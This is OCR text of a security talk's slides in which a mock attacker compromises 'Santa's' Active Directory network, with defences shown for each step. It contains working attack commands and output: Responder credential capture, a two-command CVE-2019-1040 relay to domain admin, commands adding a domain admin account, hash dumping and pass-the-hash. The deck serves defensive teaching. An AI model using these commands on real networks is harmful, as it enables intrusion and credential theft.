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Pwn the Pentester

Brian Johnson / 7 Minute Security



Agenda

7~

v/
* |ntroductions K@

» Clark Griswold wants to hack Santa

= Lets help Santa defend the North Pole network!




Who's this guy?

7~ N
Security engineer for 7 Minute Security %

Podcaster 7 MINUTE

| love to share what | learn!
& ht bpatty.rocks




Who's this guy?

BPATTY

Blue team~ Command line~ Hardware

Pentesting how-tos & guides v Resources (IT/security) v Scripts v Web tech~

Welcome to BPATTY by 7 Minute Security

What in the world is a "BPATTY?!"
Any similarities to a "beef" patty?
Wait, wait! There are already way,
way, WAY better documents, tools

and collections like this out there!

How often does BPATTY get
updated?

Who are you?

| want to electronically punch you in
the neck!

?@ 7 MINUTE

What in the world is a "BPATTY?!"

This is BPATTY, which stands for Brian's Pentesting and Technical Tips for You. It's basically
and scripts that once upon a time | saved to OneNote, Evernote, Notepad, Stickies, Notepad++
breath...Leafpad, Post-it notes, etc.

| made a big effort last year to throw all this crud in one place on my blog but realized that for p«
Github repository and Wiki makes more sense. So here we are!

| sincerely hope BPATTY can help you in your IT and infosec journey. If you have any suggestior
raise an issue and I'll respond!



Who's this guy?




Clark Griswold iIs upset...




Clark Griswold is upset...

I'm gonna get you
for this, Santal




Clark Griswold’s plan of attack

= Drop a device on Santa’'s workshop network
= Sniff the network for credentials

= Take over domain controllers in 2 commands
= Crack Kerberoastable accounts

Abuse (lack of) SMB signing

Pass the local admin hash!




Lets defend Santa’s workshop!



Drop a device on Santa’s workshop network

(®* CIS Controls’




Drop a device on Santa’s workshop network
Basic

1 Inventory and Control
of Hardware Assets

2 Inventory and Control

of Software Assets 1 Inventory and Control
of Hardware Assets

3 Continuous
Vulnerability
Management

4 Controlled Use
of Administrative
Privileges




Drop a device on Santa’s workshop network




Drop a device on Santa’s workshop network

SHARK JAGK OPERATION MODES

OFF / Charging

Arming Mode
— Attack Mode

USB-C Charge Port  RGB LED In d ato
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How can Santa defend against this?



Fing box




Fing box

vodafone UK 4G 12:57

Recent events

On'ine at 04 Oct 08:52

() Violet
On'ine at 04 Oct 08:36

Internet Troubleshoot

Router. PERFECT / Internet PERFECT

Violet
)

® 5 e

Violet's iPhone

= Android
.

s Yves
‘@ InRange at 03 Cct 17.00

Comigo Box
Onvine at 03 Oct 16:03
=) Agent back online
F023BOEB00:4D
= Agent went offline
F023B9.EB.00:4D
(™ Yves
‘@ Oniine at 03 Oct 1523

4 hours ago

16 hours ago

19 hours ago

20 hours ago

20 hours ago

21 hours ago

21 hours ago

-
<D
- - )
o= < >
- -

< Alerts

ALERTS ON NEW DEVICES

First seen on the network

At every change



Fing box

9:48 7

< Search

< Aimeeslphone
0
~

Manage this device

Aimeeslphone
Block device Pause
internet

Q Favorite | Important
2 This is a personal device

Aimeeslphone

Settings

Online - 58m

Automatically block new devices @1




Clark Griswold’s plan of attack

Drop a device on Santa’s workshop network (worked!)

Sniff the network for credentials

Take over domain controllers in 2 commands

Crack Kerberoastable accounts
Abuse (lack of) SMB signing

Pass the local admin hash!



Sniff the network for credentials
& https://github.com/lgandx/Responder

Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in
HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting
NTLMv1/NTLMv2/LMvZ2, Extended Security NTLMSSP and Basic HTTP
authentication.

Said another way: “It tricks systems into coughing up credentials!”



Sniff the network for credentials

v
Home Share View

A #* > Quick access

& Cuick sccess » Frequent folders (6)

B Desktop Desktop

& Downloads - 2

Documents

Downloads
& Pictures . ;

D Music ‘ ’

B Videos

Documents

Bl This PC

£

C’ Network Pictures




Sniff the network for credentials




Hey DNS server, ever heard of rudolf? J

-

Head Elf's PC ( Sorry, nope! Never heard of it. ]

.

————__ DNS
ﬁ Aaaaaaanybody else (Netbios/LLMNR?)? J

Server
Head Elf's PC

[That’s meeee!!l Muwahahhwhahhohohal!!! }\

*] [LLMNR] Poisoned answer sent to 192.168.168.211 for name rudolf
NTLMv2-SSP Client : 192.168.168.211
Jason (Sysadmln) NTLMv2-SSP Username : NORTHPC 2]
NTLMv2-SSP ¢ helf
00000000V LRBCOL! 5

000000000000 010000000020000¢
)0000000000000000000000000000




Sniff the network for credentials
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How can Santa defend against this?



Scan for Responder!

@& https://github.com/CredDefense/CredDefense

" CredDefense

Select Module to
Configure

Event Monitoring

Password Auditing

Password Filtering

Next




Scan for Responder!
@ https://github.com/CredDefense/CredDefense

Invoke-ResponderGuard 192.168.168.0/24

[*] ResponderGuard received an NBNS response from the host at 192.168.168.195 for the hostname [*] Something
is amiss. We should only have one answer. Answer Count: © PROXYSRV!

[*] An event was written to the Windows Event log.

[*] Submitting Honey Token Creds NORTHPOLE\MrsClaus : Summer2019 to \\192.168.168.195\c$!

EE)

Event Properties - Event 8415, ResponderGuard [}

General Details

An NBNS spoofer was discovered at 192.168.168.198.




Disable insecure network protocols

Computer Configuration > Administrative Templates > Network > DNS Client

& T

S

Turn off multicast name resolution : . .
E Y Y Y Previous Setting Next Setting

(O Not Configured Comment:
@ Enabled
O Disabl
Supposted or At least Windows Vista
Options: Help:

Specifies that link local multicast name resolution (LLMNR) is
disabled on client computers.

LLMNR is a secondary name resolution protocol. With LLMNR,
queries are sent using multicast over a local network link on a
single subnet from a client computer to another client computer
on the same subnet that also has LLMNR enabled. LLMNR does
not require a DNS server or DNS client configuration, and
provides name resolution in scenarios in which conventional
DNS name resolution is not possible.

you enable this policy setting, LLMNR will be disabled on all
ilable network adapters on the client computer.

ks2ble this policy setting, or you do not configure this
9. LLMNR will be enabled on all available network
adapters.




Disable insecure network protocols

Network control panel > Connection properties > IPV4 > Advanced > WINS

Advanced TCP/IP Settings X

IP Settings DNS ~ WINS

WINS addresses, in order of use:

Add... Edit... Remove

If LMHOSTS lookup is enabled, it applies to all connections for which
TCP/IP is enabled.

Enable LMHOSTS lookup Import LMHOSTS...

NetBIOS setting

(O Default:

Use NetBIOS setting from the DHCP server. If static IP address
is used or the DHCP server does not provide NetBIOS setting,
enable NetBIOS over TCP/IP.

*—

(O Enable NetBIOS over TCP/IP
(®) Disable NetBIOS over TCP/IP




Stop users from picking bad passwords!

Maintain an 8-character minimum length requirement (longer isn't necessarily better)

Don't require character composition requirements. For example, *&(*%$

Don't require mandatory periodic password resets for user accounts

Ban common passwords, to keep the most vulnerable passwords out of your system

Educate your users to not re-use their organization passwords for non-work related purposes

Enforce registration for multi-factor authentication

Enable risk-based multi-factor authentication challenges




Stop users from picking bad passwords!

& https://haveibeenpwned.com/Pas

Pwned Passwords

Pwned Passwords are 555,278,657 real world passwords previously exposed in data breaches. This exposure makes them
unsuitable for ongoing use as they're at much greater risk of being used to take over other accounts. They're searchable
online below as well as being downloadable for use in other online systems. Read more about how HIBP protects the privacy

of searched passwords.

Oh no — pwned!
This password has been seen 1,634 times before

This password has previously appeared in a data breach and should never be used. If you've ever used it anywhere before,
change it!




Stop users from picking bad passwords!

Three free/cheap options help you stop bad password use!
Option 1: Pwned Passwords API
Option 2: Pwned Passwords DLL
Option 3: SafePass.me

Pwned Passwords API | Pwned Passwords DLL

Cost $3.50/month Free See Website
Local or cloud hosted? Cloud Local Local

Password data transmitted over

the Internet? Partial No No

Requires local storage of password
. No
wordlists?

Allow custom wordlists? No Yes Yes

Yes Yes



Option 1: Pwned Passwords DLL

BPATTY Blueteam~  Command line~  Hardware  Pentesting how-tos & guides ~

Caldera

Cuckoo Sandbox

V' cocosrse TY by 7 Minute €

Forensics
Honeypots
\ Local Administrator Password Solution ~

Network monitoring 7 M I N L
PwnedPasswords )

WEFFLES



Option 1: Pwned Passwords DLL

https://github.com/JacksonVD/PwnedPasswordsDLL

] JacksonVD / PwnedPasswordsDLL ©OWatch 6 | WsStar 64  YFork 13

<> Code Issues 2 Pull requests 0 Actions Projects 0 Wiki Security Insights

Open source solution to check prospective AD passwords against previously breached passwords https://jacksonvd.com/

dll ad haveibeenpwned passwords
D 18 commits ¥ 1 branch @ 0 packages © 5 releases 42 1 contributor
I

Branch: master v New pull request Create new file = Upload files = Find file Clone or download ~
ﬂ JacksonVD Updated to fix login issues (RE: issue report #2) Latest commit aade808 on Jan 23
B8 .vs/PwnedPasswordsDLL/v15 Shuffled around directories 2 years ago
B8 PwnedPasswordsDLL Updated to fix login issues (RE: issue report #2) 10 months ago
B x64/Release Updated to fix login issues (RE: issue report #2) 10 months ago
[E) PwnedPasswordsDLL.sIn Shuffled around directories 2 years ago

[E) README.md Updated to reflect DLL change 2 years ago



Option 1: Pwned Passwords DLL

& https://bpatty.rocks/#blue_

9. In Visual Studio click Project -> PwnedPasswordsDLL Properties... and make these changes:

o Configuration Properties -> VC++ Directories -> Include Directories - do a right-click on the path and click Edit, then
add C:\crypto and click OK.

o Configuration Properties -> VC++ Directories -> Library Directories - do a right-click on the path and click Edit and
then insert the path C:\crypto\x64\Output\Debug\ and click OK.

o Configuration Properties -> Linker -> Input -> Additional Dependencies - do a right-click on the path and click Edit
and then insert the path C:\crypto\x64\Output\Debug\cryptlib.lib and click OK.

o Configuration Properties -> C/C++ -> Code Generation -> Runtime Library - change to Multi-threaded Debug (/MTd)

10. In Visual Studio click Build - > Build Solution



Option 1: Pwned Passwords DLL

/bpatty.rocks/#|

3. Download Crypto++ to your machine as well (for this test | used version 6.1.0). Unzip it to a folder on your machine, such as
C:\crypto.

4. Open Visual Studio, and open C:\crypto\cryptest.sln. You may be prompted to install some missing features. Click Install.
At the top of the Visual Studio window, ensure Debug and Win32 are selected.

5. From the Build menu, choose Batch Build. From the selections in the next pop-up box, choose:

o cryptlib / Debug / x64
o cryptlib / Release / x64
Then click Build.

6. Now open C:\pwnedpasswords\PwnedPasswordsDLL.sln . At the top of the Visual Studio window, ensure Release and x64 are
selected.

7. Download Troy Hunt's 500M Pwned Passwords from here. Extract the .7z file to a central location, such as
\\yourdomain.local\passwords .

8. Open C:\pwnedpasswords\PwnedPasswordsDLL\dL1lmain.cpp and search for a section that looks like this:

// String array of the file names + locations - you may customise if you wish
string stril[3] = { "C:\\pwned-passwords-1.0.txt", "C:\\pwned-passwords-update-1.txt", "C:\\pwned-pa
sswords-update-2.txt" };



Option 1: Pwned Passwords DLL

R

»

Change a password

te the password. The value provided for the new password does not meet the length
mplexity, or history requerements of the domain.

OK




Option 2: Pwned Passwords API

- github.com/Jack |

Branch: masterv = PwnedPasswordsDLL-API / x64 / Release /

44 JacksonVD Resolve logon issue after password change- issue 2 on PwnedPasswordsDLL

=) PwnedPasswordsDLL-API.dII Resolve logon issue after password change-
) PwnedPasswordsDLL-APl.exp Resolve logon issue after password change-
) PwnedPasswordsDLL-API.iobj Resolve logon issue after password change-
=) PwnedPasswordsDLL-APL.ipdb Resolve logon issue after password change-
=) PwnedPasswordsDLL-APL.lib Resolve logon issue after password change-

=) PwnedPasswordsDLL-APl.pdb Resolve logon issue after password change-



Option 2: Pwned Passwords API

- github.com/Jack |

., « PwnedPasswordsDLL-APl-master » x64 »

A
Name

“% PwnedPasswordsDLL-API.dII

v

. » ThisPC » Local Disk (C:) » windows » system32




Option 2: Pwned Passwords API

github.com/

. MUI
. NetDiagFx

o Registry Editor
File Edit View Favorites Help
p . DeviceContainerPropertyUpd ~ || Name Type Data
[> .. DeviceContainers 35] (Default) REG_SZ (value not set)
b ). DevQuery 24 auditbasedirect.. REG_DWORD 0x00000000 (0)
- | Earlylaunch 24| auditbaseobjects REG_DWORD 0x00000000 (0)
b-Ju Els ab| Authentication ... REG_MULTI_SZ msv1_0 Pwn ed PaSSWO rdSDLL'API
b-dé Errata % Bounds REG_BINARY 00 30 00 00 00 20 00 00
P e B crasho Edit Multi-Stri
w1, FileSystem || °"]d|sable ng
.. | FileSystemUtilities ot
: ol o 5| everyol  Value name:
b~ 1. GraphicsDrivers o —
.} GroupOrderList ; :Is: orcegy |Notification Packages
b- b HAL = || Felfullprivl vajue data:
'''' K hivelist ::::JleltBI rasdm A
b- ) IDConfigDB BlLsaPid | Jsceci
.|, InitialMachineConfig #é|NoLmk
L IPMI ab) Notific
b - Keyboard Layout 8| Produg
b- . Keyboard Layouts 28] restrict
p- ). Lsa ) restrict
b- . LsabxtensionConfig ) Securef
----- » Lsalnformation ?P]Secunt\ hd
b - . Medialnterfaces < >
= MediaProperties oK | | Cancel
b-Ji MSDTC
P
>




Option 2: Pwned Passwords API

R

»

Change a password

Unable 10 update the password. The value provided for the new password does not meet the length
mplexity, or history requerements of the domain.

OK




Option 3: SafePass.Me

The most comprehensive collection of
breached and compromised passwords

safepass.me™ was created specifically to address the new
password guidelines from NIST and NCSC (800-63b) that
recommend checking user passwords against public database
breaches. safepass.me™ does this in the most efficient way, using
a probabilistic data structure and Al to minimise the query time
and the size of the overall memory footprint on the system. We
check for over 551 million passwords in a fraction of a second
using a superset of the Have | Been Pwned (HIBP) database
created and maintained by Troy Hunt. Have | Been Pwned is the
largest collection of compromised data breaches currently
available. We've consolidated a 30GB database file into a very
manageable 500MB self-contained installer.



Option 3: SafePass.Me

& https://safepass.me

i SafePassMe Setup

Installing SafePassMe

Please wait while the Setup Wizard installs SafePassMe,

Status:
{



Option 3: SafePass.Me

safepass.me

File Edit Format View Help

# This file will be used by safepass.me as an additional wordlist to check against.
# Please refer to the documentation for details on how to use it.

Dasher
Dancer
Prancer
Vixen
Comet
Cupid
Donner
Blitzen
Santa
Naughtylist
Kringle

E14]



Option 3: SafePass.Me

R

.

Change a password

fate the password. The value provided for the new password does not meet the length
t history requerements of the domain.

AAA Warning about this pop up message! AA



Audit for bad passwords in your AD

@& https://github.com/CredDefense/CredDefense

CredDefense

Select Module to
Configure

Event Monitoring
ResponderGuard
Password Auditing

Password Filtering

Next




Audit for bad passwords in your AD

p )

github.com

Target DC
workshop.north.pole

Password File

C:A\Users\Administrator\Desktop\wordlist.txt

Choose Password File

Save File

C:\Users\Administrator\Desktop\pwned.txt

Choose Save File




Audit for bad passwords in your AD

& htt ps://github.com/CredDefens

Bl pwned - Notepad

File Edit Format View Help

WTucker RWhitfield
Users with ©777a4052c6bb8f1c45645d73beB4c11 for NTHash---------ccmmmmmmm o - -
NBailey HMerrill YWalls

Users with Prancer for Password

frosty

Users with Winter2019! for Password
helf (AD)

Users with JingleAllThelWay for Password
brian

Password Stats------------ccccmcmmaao

Password File: C:\Users\Administrator\Desktop\wordlist.txt
Total Time: 5.489
Total Unique: 5179

DA's Cracked: 1




Stop people from picking bad passwords!

Three free/cheap options help you stop bad password use!
Option 1: Pwned Passwords DLL
Option 2: Pwned Passwords APl DLL
Option 3: SafePass.me

Pwned Passwords API | Pwned Passwords DLL

Cost Free (or not) Free See Website

Local or cloud hosted? Cloud Local Local

Password data transmitted over

the Internet? Partial No No

Requires local storage of password
. No
wordlists?

Allow custom wordlists? No Yes Yes

Yes Yes



Clark Griswold’s plan of attack

Drop a device on Santa’s workshop network (worked!)
Sniff the network for credentials (worked!)

Take over domain controllers in 2 commands

Crack Kerberoastable accounts

Abuse (lack of) SMB signing

Pass the local admin hash!



Take over domain controllers in 2 commands

@& https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/

Using any AD account, connect over SMB to the
victim server, and trigger the SpoolService bug.
D The attacker server will connect back to you over
SMB, which can be relayed with a modified
version of ntimrelayx to LDAP.

and Yaron Zinar

Exploiting CVE-2019-1040 - Combining relay vulnerabilities for
RCE and Domain Admin

that all
s to ation 2kon
This  (as well as several others cre
N the vulnerabilit e sho ion is that this vulnerability allows for bypassing of the Message . . .
Integrity Code in NTLM authe! on. The impact of this however, is quite big if combined with the
Print vered by Lee and some of that builds forth on the Kerberos USIng the relayed LDAP aUthentlcatlon’ grant
- hamir. Usin ion of these vulnerabilities, it is possible to relay SMB R M M
LDAP. This allows for Remote code execution as SYSTEM on any unpatched Windows e S O u rc e B a S e C O n St ra I n e D e ega t I O n
tion (even those that are in different Active Directory forests), and for instant . . . .
omain in via any unpatched Exchange server (unless Exchange permissions were r I VI | e e S fo r t h e VI Ct I m S e rVe r to a C O m u te r
ain). The most important takeaway of this post is that you should apply the June 2019

account under the control of the attacker.

The attacker can now authenticate as any user
on the victim server.

1: ntlmrelayx.py -t ldaps://first-domain-controller.company.local --remove-mic --delegate-access -smb2support

2: python printerbug.py company.local/someuser@second-domain-controller IP.OF.ATTACKING.BOX



Take over domain controllers in 2 commands




Take over domain controllers in 2 commands




Take over domain controllers in 2 commands




Take over domain controllers in 2 commands

Administrator: Command Prompt

C:\>net user clark ILuvChristm@s?! /ADD /DOMAIN

The command completed successfully.

C:\>net group "Domain Admins" clark ZADD /DOMAIN
The command completed successfully.

C:\>net group "Domain Admins"
Group name Domain Admins
Comment Designated administrators of the domain

The command completed successfully.

C:\>



How can Santa defend against this?

Patch all the things ©



Clark Griswold’s plan of attack

Drop a device on Santa’s workshop network (worked!)
Sniff the network for credentials (worked!)

Take over domain controllers in 2 commands (worked!)

Crack Kerberoastable accounts
Abuse (lack of) SMB signing

Pass the local admin hash!



Crack Kerberoastable accounts

blackhillsinfosec.com

What Is Kerberoasting?

The Microsoft implementation of Kerberos can be a bit complicated, but the gist of the attack
is that it takes advantage of legacy Active Directory support for older Windows clients and the

type of encryption used and the key material used to encrypt and sign Kerberos tickets.

In other words:
“Any valid user can request (and crack!) hashes for service accounts...”



Crack Kerberoastable accounts




Crack Kerberoastable accounts




The fix for this at the moment is to make sure that all service accounts in your environment

have really long passwords. How long depends on what resources you think your potential

attacker has access to for cracking passwords. My current suggestion (based on potential

password cracking tool limitations) is 28 characters or longer with a 6-month rotation.




Clark Griswold’s plan of attack

Drop a device on Santa’s workshop network (worked!)
Sniff the network for credentials (worked!)

Take over domain controllers in 2 commands (worked!)
Crack Kerberoastable accounts (worked!)

Abuse (lack of) SMB signing

Pass the local admin hash!




Abuse SMB signing

Synopsis

Signing is not required on the remote SMB server.

Description

Signing is not required on the remote SMB server. An unauthenticated, remote attacker can exploit this to conduct
man-in-the-middle attacks against the SMB server.




Abuse SMB Signing

This is Mark. I'd like to login.

If you're really Mark, then encrypt this
challenge with Mark’s PW hash

Here's the encrypted challenge

Access Granted

Source: https://pen-testing.sans.org



Abuse SMB Signing

This is Admin. I'd like to
login.

Inventory Server Attacker

Encrypt challenge X with the
admin hash

Here's the encrypted
challenge

Access DENIED

Source: https://pen-testing.sans.org

This is Admin. I'd like to

login.

Encrypt challenge X with the
admin hash

Here's the encrypted

challenge

Access GRANTED!!

Target




Abuse SMB Signing

root@BigChristmasTree: /opt/responder/tools — ssh root@hqg.7minsec.com — 99x23

#
#




ning

root@BigChristmasTree: /opt/responder/tools — ssh root@hqg.7minsec.com — 99x23

#
# 3




How can Santa defend against this?

e fo

g Al

~ )
> A

GPOs to the rescue!



SMB signing: enabling it everywhere

File Action View Help

e 2E X B

4 & Computer Configuration
4 _ Policies
b Software Settings
4 Windows Settings
b || Name Resolution Policy
=1 Scripts (Startup/Shutdown)
4 T Security Settings
b & Account Policies
4 J| Local Policies
b i Audit Policy
b i UserRights Assignment

b J| Security Options




SMB signing: enabling it everywhere

Security Policy Setting | Explain

3 Microsoft network client: Digitally sign communications (always)

[v] Define this policy setting:
(®) Enabled
(O Disabled
Modifying this setting may affect compatibility with clients, services,

“2% 3nd applications.
For more information, see Microsoft network client: Digitally sign

communications (always). (Q823659)

Security Policy Setting | Explain

3 Microsoft network server: Digitally sign communications (always)

[v] Define this policy setting:
(®) Enabled
() Disabled
Modifying this setting may affect compatibility with clients, services,

“2% and applications.
For more information, see Microsoft network server: Digitally sign

communications (always). (Q823659)




Clark Griswold’s plan of attack

Drop a device on Santa’s workshop network (worked!)
Sniff the network for credentials (worked!)

Take over domain controllers in 2 commands (worked!)
Crack Kerberoastable accounts (worked!)

Abuse (lack of) SMB signing (worked!)

Pass the local admin hash!




Pass the local admin hash!

. @ root@BigChristmasTree: /opt/responder/tools SSh root@ng./minsec.com O09x23
\windows\temp\
runas Command Run a command as the currently logged in user. (eg: runas whoami)
scan /24 Scan (Using SMB) this /24 or /16 to find hosts to pivot to
pivot IP address -> Connect to another host (eg: pivot 10.0.0.12)
mimi command -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)
mimi32 command -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)
lecmd command -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifco
nfig)
help Print this message.
exit Exit this shell and return in relay mode.
If you want to quit type exit and then use CTRL-C

Any other command than that will be run as SYSTEM on the target.

Connected to 192.168.168.210 as Lt

C:\Windows\system32\:#dump

The Windows Remote Registry Service is sleeping, waking it up...

BootKev: 39e91479490847a0430a9fhB8ffbB85af4a
Administrator:500:aad3b435b51404eeaad3b435b51404ee:38734e8763ec966a33ecba20f4c9bc23:::
Cuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cTePdlb6ae931b73c59d7e0c089cO:::




Pass the local admin hash!

:/# crackmapexec smb 192.168.168.0/24 -u Administrator -H 'aad3b435b51404eeaad
3b435b51404ee:38734e8763ec966a33ecba20f4c9bc23' ——local-auth

192.168.168.211:445 ELF-01 [+] (Pwn3d!)
192.168.168.215:445 WIN-EEVBQT6LITLT [+] (Pwn3d!)
192.168.168.210:445 WORKSHOP [+] (Pwn3d!)




Pass the local admin hash

Papa Elf's PC

File server

Head Elf's PC ,
Database server App server



How can Santa defend against this?




LAPS: Local Administrator Password Solution

dnshostname mc -ms C -admpwd

ELF-DTO1 39fa231,L.@{#9
ELF-DTO2 991+20Bst #1717
FROSTY bOy38%$29z.019h
JACKFROST .J5@017z.AQ1@k

MRS -CLAUS &*9 ==2hNv.$13



LAPS: Local Administrator Password Solution

2 LApPS U o = X

ComputerName
cp-ct01] [ Search |

Password
dr#97grHUfB&7s

Password expires
11/21/2018 11:42:35 PM

New expiration time
Tuesday ., October 23,2018 12:47:54 AM (&)

&




LAPS: Local Administrator Password Solution

bpatty.rocks/#!blue_team/Local_Administrator_Password_Solution_LAPS.md

Setup LAPS management workstation

1. From the workstation where you will manage LAPS, log in as a domain admin.
2. Download the LAPS bundle at https://www.microsoft.com/en-us/download/details.aspx?id=46899.

3. Run the LAPS.x64.msi and in the install, choose to install the AdmPwd GPO Extension (selected by default) but also the
Management Tools by clicking the drop-down and selecting Entire feature will be installed on local hard drive. After
completing these steps you should now see Local Administrator Password Solution in the installed programs list).

Configure policy store for LAPS

1. Copy C:\Windows\PolicyDefinitions\AdmPwd.admx t0 \\yourdomain.com\sysvol\yourdomain.com\Policies\PolicyDefinitions)\

2. Copy C:\Windows\PolicyDefinitions\en-us \AdmPwd.adml to

\\yourdomain.com\sysvol\yourdomain.com\Policies\en-us\PolicyDefinitions\ .

Note, if your central store is not setup, you will want to follow this article to get it configured first.

Configure AD for LAPS

1. Back at your administrative LAPS workstation, ensure you are running at least Powershell 3.x (run $PSVersionTable.PSVersion
to determine that then install WMF 5 1 ta auicklv inimn from alder versinns of PS ta the ciirrent)



Clark Griswold’s plan of attack

Drop a device on Santa’s workshop network (worked!)
Sniff the network for credentials (worked!)

Take over domain controllers in 2 commands (worked!)
Crack Kerberoastable accounts (worked!)

Abuse (lack of) SMB signing (worked!)

Pass the local admin hash! (worked!)




Recap! Emm( GRISWOLD

.

= Monitor for Responder - run ResponderGuard and watch for eventID 8415

= Disable NBT-NS/LLMNR - make sure nothing in your enterprise needs these protocols!
= Pick awesome passwords - free solutions can stop users from picking bad ones

= Turn on SMB sighing everywhere - watch for compatibility/performance issues

= |nstall Local Administrator Password Solution - just do it! ©

= Patch your domain controllers (and everything else)!
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